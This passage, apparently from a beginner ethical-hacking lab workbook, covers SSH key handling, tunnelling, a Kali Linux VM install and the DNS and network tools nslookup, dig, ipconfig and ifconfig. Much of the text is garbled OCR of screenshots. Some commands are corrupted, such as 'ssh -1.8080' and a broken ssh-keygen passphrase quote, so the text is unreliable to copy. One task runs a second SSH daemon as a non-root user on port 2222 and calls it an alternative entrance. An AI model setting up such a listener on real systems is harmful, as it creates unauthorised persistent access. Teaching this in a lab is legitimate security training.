Connect to remote server with user “osboxes” and password “osboxes” again,
with SSH. Change to privileged user then run this command:

sudo su -
rm -v /etc/ssh/ssh_host_*

Regenerate remote server’s SSH keys with this command:
dpkg-reconfigure openssh-server

Restart the service to make sure the remote server is working with newly
created SSH keys:

systemctl restart ssh

Disconnect from the remote server to re-establish the SSH connection.



oshoxesgoshoxe ,:

pass

HHEES

time
Ndz@DAM ZLI rootmos es (RSA)

ffhe rootmosboxes (ECDSA

3 S C es (ED25519)
is a dl,nhlnd or a t111L unit, it starting it.

*"'”” restart ssi %\

Each remote server operates with a unique SSH certificate. When trying to
connect to another server with the same IP address as the remote server, the
local SSH client will warn you about the situation in order to prevent user
information from being stolen.

esdropping on you rlphf now (man-in-the-middle attack)!
possible that a | 5 5 en char i
for

ICmuSg/C
contact your

own_hosts to get rid of this message.

Jknown_hosts" -R 92.168.]
s changed and you have requested strict checking.
verification fai




If it is definitely known that the operating system on the remote server has
been reinstalled or if the SSH server keys are regenerated like in this
example, it will be necessary to update the SSH key records on the local user
who established the connection. In the local terminal screen, type the
following and reconnect to remote server via SSH:

ssh-keygen -f “/home/kali/.ssh/known_hosts” -R “192.168.1.25”
ssh osboxes@192.168.1.25

~

# Host 192.168.1.25 found:
Shome/kali

enticity of host C
y fingerprint is SHA256:
J sure you want to continue - L
*192.168.1.25"

.25"'s password:

Thanks to this simple mechanism, the critical access information of the local
user connected via SSH is prevented from being seized by a possible thief
server.

Task 3:

If you make frequent SSH connections to the same server during the day, it is
possible to gain password-free connection capability by copying your local
SSH public key to the remote server. The steps to achieve this are easy. We
will manually add the content of the “kali” user’s “.ssh/id_rsa.pub” file to the
“.ssh/authorized_keys” file located in the remote user’s home directory.

While on the terminal screen of the Kali VM machine, as “kali” user:

cd .ssh/

ssh-keygen

ssh-copy-id osboxes@192.168.1.25
ssh osboxes@192.168.1.25



mailto:osboxes@192.168.1.25

i/.ssh/id_rsa):

Your identifi 100N been saved in / fkali/.ssh/id_rsa
Your public key has 1 saved in Jhome/kali/.ssh/id_rsa.pub
The

SHA

The k

+=--=[RSA 3072]—=

. 00=+
0. ..=.%]
a = fusr/b 2 of ((s) to be installed: "/

= g n with the new ke
0 L. 0,%) g 1 4 1 LNeE o E

o *X f
0 *X installed — if

+ ool

Number of key(s) added:

Now try to the machine, with:

and chec ake sure that only the key(s) y

Welcome to Ubunty B4 LTS (GNUSLinux 5.4.90-28-gen

As can be seen, no password is required for SSH logins. Even if the remote
user changes their password, this will not prevent us from logging in without
a password.

If you were able to log into your account using SSH without a password, you
have successfully configured SSH-key-based authentication to your account.
However, your password-based authentication mechanism is still active,
meaning that your server is still exposed to brute-force attacks. In order to
permanently block SSH access to the remote server with a password, it is
necessary to edit the “sshd_config” file and make “PasswordAuthentication

»

no-.

The changes will take effect after the SSH service is restarted:

systemctl restart ssh



From now on, users who have not yet copied their SSH public keys to the
remote server will not be able to login even with a password. Local console
logins are not affected by this situation.

Task 4:

It is possible to access IP targets that can only be accessed from a remote
server by port-forwarding via SSH tunneling method. Connect to remote
server with this command:

ssh -1.8080:192.168.1.1:80 osboxes@192.168.1.25

When this command is run in Kali Linux, requests to 127.0.0.1:8080 are
forwarded via the remote server to the destination 192.168.1.1:80, by
establishing a secure SSH tunnel.

Task 5:
It is possible to copy a file residing on the local machine to a desired location
on the remote server via a secure SSH tunnel. To do this:

scp /etc/hosts osboxes@192.168.1.25:/tmp/

= | -

) fetc/hosts osboxes®192.168.1.25:/tmp/

100% 184 128.9KB/s og:0@

In this case, the password-free connection capability when using the “ssh”
command is also valid when using the “scp” command.

Task 6:

It is possible to run the SSH service outside port 22. We can even do this on a
system that does not have root privileges. Open terminal on Kali Linux VM
machine and type the following commands:

ssh-keygen -t rsa -N “* -f ~/.ssh/id_rsa <<<y

Create a file with nano editor, and put following lines in it:


mailto:osboxes@192.168.1.25
mailto:osboxes@192.168.1.25:/tmp/

nano ~/.ssh/sshd_config
Port 2222

UsePAM yes

HostKey ~/.ssh/id_rsa

Now, we can start a new SSH service with a non-root user by listening to port
2222.

/usr/sbin/sshd -f ~/.ssh/sshd_config

rsa

c/private rsa :

id_rsa already exists.
Your identification has been e 1 /home/kali/.ssh/id_rsa
s been saved in /home/kali/. Jid_rsa.pub

POQC1prEMcs kaligkali

/sshd config

f.s55h/sshd config @

Now, we have created an anternative entrance point to our system. If there is
no firewall rule applied that blocks all ports save eceptions, someone can
access this system using port 2222 via SSH. Let’s try it by making a SSH
connection ourselves;
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Lab 15. How to Setup Your Own
Kali Linux Virtual Machine

Lab Objective:
Learn how to setup your own Kali Linux Virtual Machine for the purpose of
hacking.

Lab Purpose:

Kali Linux is a Debian-based Linux distribution which is aimed at advancing
Penetration Testing and Security Auditing. Kali Linux contains several
hundred tools which are geared towards various information security tasks,
and many more can be downloaded from sources such as GitHub.

Lab Tool:
Windows Machine

Lab Topology:
You can use a Windows or Linux PC which can offer Desktop login for this
lab.

Lab Walkthrough:

Task 1:

There are two major virtualization platforms that are currently free for
Windows and Linux operating systems. You can access the website of both
platforms from the links below:

Oracle VirtualBox
[ https://www.virtualbox.org/ ]

VMware Workstation Player



[https://www.vmware.com/products/workstation-player.html ]

In this lab, we prefer to use the VirtualBox because of its easy use and
because it’s also the most popular in the open source world. You can use it in
both Linux and Windows PC environments. It is very easy to install in the
Windows environment. After installing the actual application, do not forget
to download and install the VirtualBox Extension Pack, which is the same
version as this.

Download

VirtualBox 6.1

This software will allow us to run the Kali Linux Operating System within
our Windows or Linux Desktop Operating System. This means the things we
do in the virtual OS will not impact our actual OS.

Task 2:
There are various methods of installing Kali Linux under VirtualBox. For
convenience, we will proceed by importing a preinstalled VM image. Go to:

https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-

image-download/

You will see two types of images here, 32bit and 64bit. If your Desktop
Operating System supports running a 64bit virtual OS, it is recommended
that you download it. Make sure you download for the right virtualization
platform.


https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/

+ KALI LINUX VMWARE IMAGES

- KALI LINU}(IVIP.TUALBDJ{ IMAGES | ©)

Image Name Torrent Version Size

3.66G
Kali Linux VirtualBox 64-Bit (OVA) g"; Torrent 202141

Kali Linux VirtualBox 32-Bit (OVA) Torrent 2021.1 e

Task 3:
We will import the pre-installed Kali Linux VM machine just downloaded,

into the VirtualBox environment.

Open Oracle VM VirtualBox Manager, select “File” on the top menu, then
click “Import Appliance” from the drop-down menu.



Y] iM VirtualBox Manager

File Group Snapshot Help

Reset All Wamnings

& Preferences.. Ctrl+G
(U Import Appliance... '|. Ctri+|

(R} Export Appliance... \ Ctri+E
£d  Mew Cloud VM... \

Virtual Media Manager... @) Ctrl=D
i3 Host Network Manager... Ctrl+H
A Cloud Profile Manager... Ctri+P
& Network Operations Manager...

@ Checkfor Updates...

&

w

Exit Ctrl+Q

In the “Appliance to import” window, following the numbered steps
indicated in the figure, select the Kali Linux VM OVA file we just
downloaded. Then, click Next.

Appliance to import

Plaase chooss the source to import appliance from. This can be a local fie system to import OVE archive or one of known doud service providers to import doud
VM from.

Source: Local Fle System Fg} ) -
Please choose a fie to import the virtual appliance from. VirtualBox currently supports importing appliances saved in the Open Virtual m&flﬁ;}ut {OvF). To
continue, select the fie to import below. a} \

Q) na

N
mnm‘i} Cancel

File: |D:\WBonr \IMGS WAL Teali-inun-202 1. 1-vibon -amdi4.ova ﬁ_‘

Check the information displayed in the window that opens, then click import.
Also click on the “Agree” button in the “Software License Agrement”
window that opens. Importing begins...



Appliance settings ¥ Software License Agreement ? x

These are the virtual machines contained in the appiance and the suggested settings of  The virtual system "Kali-Linux- 2021.1-vbox-amd64™
properbes shown by double-choong on the items and disable others using the chedkbos]  requires that you agree to the terms and conditions of
the software boense agreement shown bebow.

A Chck Agree to contrue of dick Disagree to cancel the mport.
@ Name WO Lo 021 VSO SOncis GPL v3 ~ hitps: wwew. ko orpidocs ok ak-rux-open-
# Product Kali Linux source-poboy|
@| B Impenting Appliance .. Imporing appliance 'D:\VBox \IMGS\KALNkali-linux-2021.1-...

@ /,.--'—'_--u
@. Imparting virtual disk mage Tall-inune-202 1. 1-vbooc-amdé4-disk00 Lvmdk’ ... (2/3)
® — % X
@ 5 minutes remaining
B - -— v ]
8 cru 2 - :
@ ovwo B | @ imponing Appliance . Importing appliance T:AVBex\UMGSUKAL N kali-inux-2021.1-... B
£ USE Controller x| .
B Sound Card HicH Importing virtual disk image ali-nus-202 1. 1-vbox-amdE-4-disk00 1. vk’ ... (2/3)
@ Network Adapter B imd | e— w% X
> Storage Controller PInGe 1 minute, S0 seconds nemainng
i Imperting Appliance ... Importing apphance TWBox IMGSKALNkali-linux-2021.1-...

P Importing virtual disk image Takdnux-2021. 1-vbox-amdGa-dsk00 Lymdk ... (2/3) =

- I - X :
= _
9

Applance is not signed g
Restore Defaults Cancel

After the import is done, the Kali Linux VM is ready for use. Click the green
“Start” button to boot virtual machine.



¥ Oracle VM VirtualBox Manager v - (1] >

File Machine Help

1 e o8

New Geltings O
o — = General = Preview |
MNamea: Kal-Linux=-202 1. 1-ybox-
amdé4
Qperating System:  Debian (64-bit)
@l svstem Kali-Linux-2021.1-
g:e{rssors: & iﬂ‘B i vbox-amd64

Boot Order:  Hard Disk, Cplical
Acceleration:  VT-x[AMD-V, Nested Pagng,
PAE MY, EYM

Paravirtualizaton

Task 4:
Once the importer is finished, boot up the virtual machine. It may take a few
minutes to load. Once loaded, enter “kali” as both username and password.

By default, a password is not defined for the root user, so you cannot log in
directly as that user.

For operations that require root authorization, you will need to use “sudo”
command on the terminal screen, in this case the password that must be
entered is “kali”.



Wl L -, b sendSl [Brsmning] - Oracle Vi VatusiBos m ] s

Filg Maching View g Devices  Help
+ M Mar, 1454 &

Wonss ESWNOE -

To ensure you are using the most up to date version of the machine, open a
teminal screen, then enter the following commands:

sudo apt update
sudo apt full-upgrade -y



i Kali-Linux-2021.1-vbox-amd 6 [Running] - Oracle Y# VirtualBox - o x
File Machine View Input Devices Help

03:44PM O A ©O A c¢C

kaliE@ ealiz ~

File Actions Edit View Help

kali-rolling

i kali-roll
.downloac li kali-rolling
1.download li kali-rolling
i.download/kali kali-rolling

i.download/kali kali-rolli;
i-roll

Done
tion ... Done

aded. Run 'apt list SIS

Unpacking firmware-lin
Pr ring to unpack
Unpacking
Preparing
Unpacking
Preparing to unpack
: tirm
to wnpack
firmware-intel
to unpack /
firmware-iwlwi
to unpack

You will be prompted for the sudo password. Enter the default password
“kali”. It is important to have these updates on a freshly installed Kali VM,



otherwise both the OS and some hacking tools may not work properly. After
all updates are finished, reboot the Kali VM to make sure all updates have
been applied.

Task 5:

Done! Now we have a fully functioning Kali Linux Virtual Machine to begin
hacking. It is useful to take a snapshot of the machine, from the virtualization
software setttings, once all the updates are done. This is useful if the VM
image becomes damaged, in which case we can simply revert to the recently
updated working version. Also, connecting the default network adaptor to the
“Bridge Adapter” instead of NAT will benefit us in many subsequent hacking
operations.

First, make sure that Kali is in shutdown state. In the Oracle VirtualBox
Manager main window, click the Settings button, then follow the steps
described in the figure.

¥ Oracle VM VirtualBox Manager o - O x
4
File Machine Help \
pi N o
1AM -, I,
Mew Setiings i Start.
. Freelance Works = General = preview
Hame: Kaki-Linux=-202 1. 1=vioo-
. Others amded |
Operatng System: Debian (54-bit)
N e : i L S—r M " ’ o
| (8] system Kali-Linux-2021.1-
Base Memory: 2048 MB
Processors: 2 vbox-amd64
Boot Order: Hard Digk, Optcal
Acceleration:  VT-x/AMD-V, Nested Pagng,

PAE MX, K¥M Paravirtualzation




&3 Kali-Linux-2021.1-vbox-amd64 - Settings ? X

General | Network
[&] system Adspter 1 Adapter 2  Adapter 3 Adapter 4
[!J Display [+] Enable tetwork Adapter

Storage Attached to: |Bridged Adapter ] ﬁ@

[NAT |
Name: '_
@p audio . [inemictmt & I
Advanced | Host-only Adapter \
——

| Generic Driver

| MAT MNetwork

| Clousd Metweork [EXPERIMENTAL]
[ Mot attached

Now, we can take a snapshot of the entire Kali VM.

9 Oracle VM VirtualBox Manager = = X
File Machine Help
iy, ;
00 e .
Mew Settings Discard  Start

" FreeLance Works = General = preview i

Name: Il -Linux =202 1. 1-vixooc-
amded

O Others

Kali-Linux-2021.1-

vbox-amd64

. ‘lt'-f-r'IParaurm:al;m
Lf| Logs ] e

Video Memory: 128 MB g}

Graphics Controller: VMSVGA
Remote Desktop Server:  Disabled
Recording: Desabled
Bl storage
Controller: IDE
IDE Secondary Master:  [Optical Drive] Empty
Controller: SATA
SATA Port 0z kbl dwne-202 1. 1-vbox -amdbd-ciek00 1. vd (Normal, 80.00 GB)




WMQ‘I

Snapshot Description
This is very first updated version of Kal,

2020403-20

Now, whenever necessary, we can restore Kali Linux virtual machine to this
snapshot level and then boot the system in its initial state.

¥ Oracle VM VirtualBox Manager - a X
File Machine Snapshot Help

G e BB @ D

Take ODelete Restore | Properbies | Clone  Setbngs Decard  Start

o Freelance Works Name Taken
v @ Dayzero S
' Others @ Current State |
[ . Atributes  Information
;) :
Mame: |Enter a name for the new snapshot... |
Description:

Take Reset




Lab 16. Nslookup

Lab Objective:
Learn how to use Nslookup to gather DNS information on a target site.

Lab Purpose:
Nslookup is a network administration command-line tool used for querying
the DNS to obtain domain name or IP address mapping information.

Lab Tool:
Windows Machine or Kali Linux.

Lab Topology:
You can use a Windows Machine or Kali Linux for this lab.

Lab Walkthrough:

Task 1:

Nslookup comes built in on both Windows and Linux. In Windows, it comes
in both an interactive and non-interactive mode. To open the interactive
mode, type “nslookup”. To quit the interactive mode, type “quit”.

We will begin by finding the IP address of a host. To do this, type the
following:

nslookup www.google.com



http://www.google.com/

C:\Users\User>nslookup www.googl

gle.com

Server: homerouter.cpe
Address: 162 .168.8.1 Local DNS
resolver

Non-authoritative answer:

Mame : I00E

Addre G - 2808 :14580:488b:cB1: : 68
2a00:1450:4008b:cO1: :6a

0 : 400b:cO@1::63

2a88:1458:488b:cB1: :67
f4.125.193.164
74.125%.193.99
74.125.193.147
74.125.193. 1”.&. IPv4
74.125.193.183

T8 1 L i 1 ¥ L
f4.125.193.185

As you will see, we are returned with the different IPv4 and IPv6 ip addresses
for Google.com. The node, called as “local DNS resolver”, is the first point
of contact we make with a DNS query every time.

This is usually the IP address of the device provided to you by your Internet
Service Provider. Of course, you can target your “all DNS queries” to a
different server by changing your local machine’s network settings
accordingly.

Task 2:

We will now perform a reverse lookup which will match an IP address to a
domain name. This is also called the DNS PTR record, and can be thought of
as the exact opposite of the DNS A record. To do this type:

nslookup 74.125.193.99



\Users\User>nslookup 74.125.193.99
Server: homerouter.cpe
Address: 192.168.8.1

DNS PTR
“..jmtll - ii.: - ]rl -I-I!':|l"l| . il"]”‘l'-! . r‘lt’t rEEGrEI

74.125.193.99

Oftentimes, we can see that hostnames DNS A and DNS PTR queries do not
match on web servers. This is because multiple IP addresses may be matched
against a DNS A record to perform load balancing.

Task 3:
We can also find any “Mail eXchange” servers for a particular domain. To do
this, type:

nslookup -querytype=mx google.com

gogle. com = 10, mail exchanger = aspmx.l.google.com
gle.com reference = 20, mail exchanger = altl.a '

yogle. com MX p rence = mail exchanger = altd.asp
.com refe 48, mail exchanger alt3.
pogle.com reterence 30, mail exchanger = alt2.as

Task 4:

We can also find the “Name Servers” responsible for a domain. In other
words, only those servers which are authoritative sources to keep DNS
records of the google.com domain name. To do this, first open an interactive
console by typing “nslookup”. Then, type:

set query=ns

Then, type the domain name into the terminal.



\Us \User>nslookup
[.’JL,-"‘i'En_. | 1_' Server: homerouter.cpe
Address: 192.168.8.1

set query-ns
set query=ns
google.com

homerouter. cpe

192.168.8.1

Non-authoritative answer:
google.com nameserver .google.com
google.com \am Vi s1.google.com

google. com 16 = S3.E E.Com
‘__:.I:['_]E.]E.:' . COm lameserver 1s2.google. com

Task 5:
It is possible to access domain verification data by making a DNS TXT
query.

nslookup -querytype=txt google.com






Lab 17. Dig

Lab Objective:
Learn how to use Dig to gather DNS information.

Lab Purpose:

Dig stands for Domain Information Groper. It is a tool for querying DNS
nameservers for information about host addresses, mail exchanges,
nameservers and related information.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux for this lab.

Lab Walkthrough:

Task 1:

Dig is a tool which can be used on either Linux or Mac OS. Dig comes pre-
installed on Kali Linux and you can check its version using the following
command:

dig -v
The dig syntax looks like the following:
Dig [server] [name] [type]

We will begin by performing a simple dig command. Type the following into
a terminal:

dig google.com



Task 2:

The above command will include several information. There may be a time
when you only want the result of the query. This can be achieved in dig with
the following command:

.- -

gooqgle.com

; <<>> DiG 9.16.8-Debian <<>> google.com

;+ global options: +cmd

:+ Got answer:

;; -»>>HEADER<<- opcode: QUERY, status: NOERROR, id: 22272

:» flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: ©, ADDITIONAL: 1

; » OPT PSEUDOSECTION:

: EDNS: version: 8, flags:; MBZ: 0x0085, udp: 4096

: COOKIE: 72d8c192981bd998f232108c608ef79de92e18ef6fchb2499 (good)
r: QUESTION SECTION:

;google.com. IN A

:» ANSWER SECTION:
google. com.
google.com.
google.com.
google.com.
gooqgle.com.

4}
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;; Query time: 164 msec

:: SERVER: 192.168.71.2#53(192.168.71.2)
;> WHEN: Mon Jan 25 12:21:58 EST 2021

s: MS56 S51ZE rcvd: 163

dig google.com +short



= -

) google.com +short
125.193.138
25.193.139

.125.193.161
74.125.193.113
74.125.193.162

193.100

As you can see, there can be more than one IP for a host record.

Task 3:
This next command will get rid of all information before the answer section,
for easier reading. We can specify this using the following command:

® ~
google.com +noall +answer
:; Warning: Client COOKIE mismatch
google.com. IN J 4.125.193.138
google.com. IN 4.125.193.139

google.com. IN [ 4.125.193.161
google.com. IN 4.125.193.113
google.com. IN # 74.125.193.162
google.com. IN A 74.125.193.160

Task 4:
We can also specify the nameservers we wish to query using the following
command:



- -
dig @8.8.8.8 google.com

; <<>> DiG 9.16.8-Debian <<>> @8.8.8.8 google.com
(1 server found)

:; global options: +cmd

+: GOT answer:

: ; ->>»HEADER<<- opcode: QUERY, status: NOERROR, id:

:» flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY:

5775
, ADDLTIONAL: 1

3
v

:: OPT PSEUDOSECTION:

: EDNS: wversion: 8, flags:; udp: 512
: + QUESTION SECTION:

:google. com. IN

; ; ANSWER SECTION:

google.com. 84 IN
google.com. 84 IN
google.com. 84 IN
google.com. 84 IN
google. com. 84 IN
google.com. 84 IN

;; SERVER: 8.8.8.8#53(8.8.8.8)
»= WHEN: Mon Jan 25 12:37:58 EST 2821

= MSG SIZE rcvd: 135

: Query time: 28 msec

This command queries the “google.com” record from the Name Server with
IP address 8.8.8.8.

Task 5:
If we want to query all DNS record types, we can use the “ANY” option.
This will display all the available record types in the output:



o -
] google.com ANY

<=> D16 9.16.8-Deblan <<=> google.com ANY
:: global options: +cmd
;; Got answer:
i: -»>>HEADER<<- opcode: QUERY, status:

;; OPT PSEUDOSECTION:

; EDNS: version: @, flags:; udp: 4896

i COOKIE: ccaf26e747787060617cdebac0dfeolbde8oe2dc7527ceSce (good)
QUESTION SECTION:

P ¥

;google.com. IN ANY

i ANSWER SECTION:

google.com. SOA nsl.google.com. dns-admin.google.com.
google.com. AAAA 2a00:1450:406b:cOl: : 64
google.com. AAAA 2200:1450:400b:cOl: : 8:
google.com. AAAA 2200:1450:400b:cO1: :6
google.com. AAAA 2a00:1450:400b:col: :66
google.com. 1 74.125,

google.com. 74.125.

google.com. 74.125.193

google.com. 74.125.

google.com. 74.125.193.
google.com. 74.125.193.
google.com. 74158 N ns4d.google.c
google.com. 74158 ns2.google.c
gooqle.com. 74158 NS nsl.google.
google.com. 74158 N ns3.google. com.
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Task 6:

We can also look up a specific record. For example, if we want to get only
the mail exchange section associated with a domain, we can use the following
command:

dig google.com MX

We can query a number of specific record types using the following tags in
place of MX:

TXT, CNAME, NS, A



] -

google.com MX

; <=>> DiG 9.16.8-Debian =<<>> google.com MX
; global options: +cmd
-: Got answer:
>>HEADER<<- opcode: QUERY, status: NOERROR, 1d: 29047
flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: ©, ADDITIONAL: 1

. OPT PSEUDOSECTION:

; EDNS: version: @, flags:; MBZ: Ox0005, udp: 4096

; COOKIE: 9678877afaeB24ee30432ecb6600efaB3cef41585bccbb835 (good)
:: QUESTION SECTIONM:

:google.com. IN MX

s+ ANSWER SECTION:
google.com.
google.com.
google.com.
google.com.
google.com.

Ln

IN

IN

IN ; ) altl.aspmx.Ll.

IN 48 & .aspmx.l.goc
IN 4 38 & .aspmx. L.goof

LW wn

;; Query time: 324 msec

: SERVER: 192.168.71.2#53(192.168./71.2)
3 WHEN: Mon Jan 25 12:31:11 EST 2021
s: MG SIZE rewd: 175

Task 7:
We can trace the DNS path, similar to traceroute, using the following
command:



! 9pRb
JKPfhSBNaFLW

Task 8:
It is also possible to make DNS queries for IP addresses.



~
154.125.193.10.2 h

DiG 9.16.12-Debian <<>» -X
bal options: +cmd

T answer:
—»HEADER®— opcode: QUERY, status: ROR
flags: qr rd: QUERY: 1, ANSWER: 1, } @, ADDITIOMAL: @

WARNING: recursion requested but not

WESTION SECTIONM:
74.1n-addr.arpa. IN

ANSWER SECTION:
Jh.An-addr.arpa. 86347 IN PTH ig-in-f102.1e100.net.

time: 60 msec
16.128.0.1453( )
Fri Mar 19 14:57:81 EDT 2821
rcvd: 186

Task 9:

Dig has a useful feature which allows you to perform a number of DNS
lookups for a list of domains instead of doing the same for each one
individually. This can be done by performing a lookup using a file:

dig -f domain_names.txt +short

Task 10:
It is possible to access domain verification data by making a DNS TXT

query.

-

cation=RjppnbZuuM-LhJ6XblEGO d KMxBxGmOm7
il.cgm include:mailer.posta

11"




Dig is a tool with multiple uses and can be very useful for gathering a broad
range of DNS information about a target site.



Lab 18. Using Ipconfig to View and
Modify Network Information on
Windows

Lab Objective:
Learn how to use ipconfig to view and modify network information on
Windows.

Lab Purpose:

Ipconfig stands for Internet Protocol configuration. It is a console application
which displays all current TCP/IP network configuration values and refreshes
DHCP and DNS settings.

Lab Tool:
Windows

Lab Topology:
You can use Windows for this lab.

Lab Walkthrough:

Task 1:
We will begin by viewing the help information screen by executing the
following command:

ipconfig /?



srripcontilg Sdisplaye

IP Configuration

-cervice weather.m

Record Name
Record Type
Time To Live
Data Length
Section

CNAME Record

Record Name

Record Type
T irrn_—- Tl_':
Data Le
Section
C NAME

Record

tile-ser
16
B
Answer

willdcard.weather.mic

.weather.m i.lZ' r

vice.weather

rosoft . com

.microsoft.com

.edgekey.net
=

o501t . com. edpekey . net

Open a command prompt to begin, and type “ipconfig” to view your

networking information.



Media disconnected

a disconnected

Media

E ther net




As you will see, there will be a lot of information shown, including your local
IP addresses.

Task 2:
To display the fill TCP/IP configuration information for all network adapters,
we can use the following command:

ipconfig /all



Task 3:
Assume that our machine has an IP address with DHCP. To release our
current IPv4 or IPv6 address, we can use the following commands:

ipconfig /release
ipconfig /release6



C:\Users\User>ipconfig /releaseb
Windows IP Configuration

operation ftailed as no adapter 1s 1n the state [r:'llni'--'-_lf"'.'r' for

s operation.
Unknown adapter Local Area Connection 2:

Media State . . . « * Media disconnected

Connection-specific DNS Suffix
Unknown adapter wintunshark®:

Media State . . . . .+ = = = : Media disconnected

Connection-specitic DNS Suffix

Ethernet adapter Ethernet:

Media State . . . . . . * Media disconnected

Connection-specitic DNS Suffix

Ethernet adapter VirtualBox Host-Only |

Connection-specific DNS Suffix
[Pvd Address.
Subnet Mask

Detault Gateway

Renew our IP addresses via DHCP:

ipconfig /renew

Task 3:
If we want to purge the DNS resolver cache, we can do that using the
following command:

ipconfig /flushdns



C:\Users\User>ipconfig /flushdns <=

Windows IP Configuration

Successfully tlushed the DNS Resolver Cache.

This will essentially get rid of the local cache of DNS information.

Task 4:
We can also refresh all DHCP leases and re-register DNS names using the
following command:

ipconfig /registerdns

You will need to run command prompt as administrator to execute this
command.



Doen

Run as administrator

Open
User Account Control o
Linpin § .
i Do you want to allow this app to make
! Pin to 1

changes to your device?

DTy .
- Windows Command Processor

Verified publisher: Microsoft Windows

Task 5:

We can display the content of the DNS Resolver Cache using the following
command:

ipconfig /displaydns






Lab 19. Using Ifconfig to View and
Modify Network Information on
Linux

Lab Objective:
Learn how to use ifconfig to view and modify network information on Linux.

Lab Purpose:

Ifconfig is a system administration utility in Linux operating systems, used
for network interface configuration. It is a command line interface tool and is
used in the system start-up scripts of many operating systems.

Ifconfig is the equivalent of the ipconfig tool used on Windows.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux for this lab.

Lab Walkthrough:

Task 1:
We will begin by viewing the help information screen by executing the
following command:

Ifconfig -h



e

Usage:
ifconfig [-a] [-v] [-s] <interface> [[<AF>] <address>]
[add <address>[/<prefixlen=]]
[del <address>[/<prefixlen>]]
[[-]broadcast [<address>]] [[-]pointopoint [<address>]]
[netmask <address>] [dstaddr <address>] [tunnel <address>]
[outfill <NN>] [keepalive <hN=>]
[hw <HW> <address=] [mtu <NN>]
[([-]trailers] [[-]Jarp] [[-]allmulti]
[multicast] [[-]promisc]
[mem_start <NN>] [1o_addr <NN=] [irq <NN>] [media <type>]
[txqueuelen <NN>]
[[-]dynamic]
[up|down]

<HW>=Hardware Type.
L1st of possible hardware types:

Open a terminal to begin, and type “ifconfig” to view your networking
information.

ethd: flags=4163<UP,BROADCAST ,RUNNING , MULTICAST> mtu 1560
inet 192.168.71.131 netmask 255.255.255.0 broadcast 192.168
ineté feB80::20c:29ff:fe2c:bld3 prefixlen 64 scopeid 0x28<li
ether 89:0c:29:2c:bl:d3 txqueuelen 1868 (Ethernet)
RX packets 18853 bytes 13134687 (12.5 MiB)
RX errors @ dropped 8@ overruns @ Trame O
TX packets 54525 bytes 5496949 (5.2 MiB)

TX errors @ dropped © overruns @ carrlier 8 collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.8.1 netmask 255.8.8.8
ineté ::1 prefixlen 128 scopeid 8x18<host>
Loop txqueuelen 106880 (Local Loopback)
RX packets 48 bytes 2092 (2.0 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 48 bytes 2092 (2.0 KiB)
TX errors © dropped © overruns @ carrier 8 collisions @




As you will see, there will be a lot of information, including your local IP
addresses. New Linux distributions do not have the “ifconfig” command
installed. In this case, you can use the “ip addr” command.

Task 2:
To display a short list output, we can use the following command:

ifconfig -s

Iface MTU RX-0K RX-ERR RX-DRP RX-0OVR TX-0K TX-ERR
TX-DRP TX-OVR Flg

etho 1568 18849 B B o 34511 B
B 8 BMRU
65536 44 0 00 44 0
8 8 LRU

Task 3:
We can display information about a specific interface by using the following
command:

ifconfig [interface-name]

This is useful for determining interface information and for debugging.

. -
ethe
eth8: flags=4163<UP, BROADCAST RUNNING MULTICAST> mtu 1566
inet 192.168.71.131 netmask 255.255.255.8 broadcast 192.168.71.255
ineté fe8d::28¢c:29ff:fe2c:bld3d prefixlen 64 scopeid 8x28<link>

ether 00:0c:29:2c:bl:d3 txqueuelen 10060 (Ethernet)
RX packets 18849 Dbytes 131340085 (12.5 MiB)

Rx errors @ dropped @ overruns 8 frame @

TX packets 54511 bytes 5495617 (5.2 MiB)

arrier @ collisions 8

T errors 6 d l':‘lF:-Fu“r‘i 8 overruns B

Task 4:
We can disable or enable a network interface using an ifconfig flag. For



example:

ifconfig ethO down

@ —
eth® down

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.6.0.1 netmask 255.0.0.0

inet6 ::1 prefixlen 128 scopeid @xlB<host>

loop txqueuelen 1686 (Local Loopback

RX packets 44 bytes 1936 (1.8 KiB)

RX errors 0 dropped 0 overruns @ frame O

TX packets 44 bytes 1936 (1.8 KiB)

TX errors @ dropped 8 overruns @ carrier 8 collisions 8

This command will disable our local connection to the Wi-Fi card. To enable
it, enter the following command:

ifconfig ethO up

m -
ethe up

a

etha: fl_ags.:alﬁ';'.-:IJPlBHD#D{AST,HIJr-Jr-JIMGJr-1l..ILTIC.L‘u.':'.T:1 mtu 1588
inet 192.168.71.131 netmask 255.255.255.8 broadcast 192. 1%

1netd fe 20c:297T:fe2c:bld3 prefixlen 64 scopeld Bx28<
ether 08:8c:29:2c:bl:d3 txqueuelen 1066 (Ethernet)
RX packets 18853 bytes 13134687 (12.5 MiB)
RX errors @ dropped @ overruns @ Trame @
34521 bytes 5496645 (5.2 M1B)
yed @ overruns 8 carrier @€ collisions @

Task 5:

We can use ifconfig to enable promiscuous mode on an interface. This will
allow the interface to receive all packets on the network. You will need a
compatible network card for this to work correctly:



ifconfig ethO promisc

] eth® promisc

a

eth®: flags=4419<UP,BROADCAST,RUNNING, PROMISC ,MULTICAST> mtu 1560
inet 192.168.71.131 netmask 255.295.255.0 broadcast 192.168.71.

inets feB@::20c:29ff:fe2c:bld3 prefixlen 64 scopeid 8x28<link=>
ether 80:6c:29:2c:bl:d3 txqueuelen 18668 (Ethernet)

RX packets 18853 bytes 13134687 (12.5 MiB)

RX errors @ dropped © overruns @ fTrame ©

TX packets 54525 bytes 5496949 (5.2 MiB)

TX errors @ dropped @ overruns @ carrier 8 collisions @

This can be disabled using the following command:

ifconfig ethO -promisc

ethb: fLa'gs=4153=:UF',EH{JADEAST,F.UHI'iIMG_,HIJLTIEAE-T:: mtu 1588
inet 192.168.71.131 netmask 255.255.255.0 broadcast 192.1

inet6 feBB::20c:29ff:fe2c:bld3 prefixlen 64 scopeid 8x28<
ether 80:8¢:29:2¢:bl:d3 txqueuelen 1800 (Ethernet)

R¥ packets 18853 bytes 13134687 (12.5 MiB)

RX errors @ dropped @ overruns @ frame @

TX packets 54525 bytes 5496949 (5.2 MiB)

TX errors 8 dropped 8@ overruns @ carrier @ collisions @

Task 6:
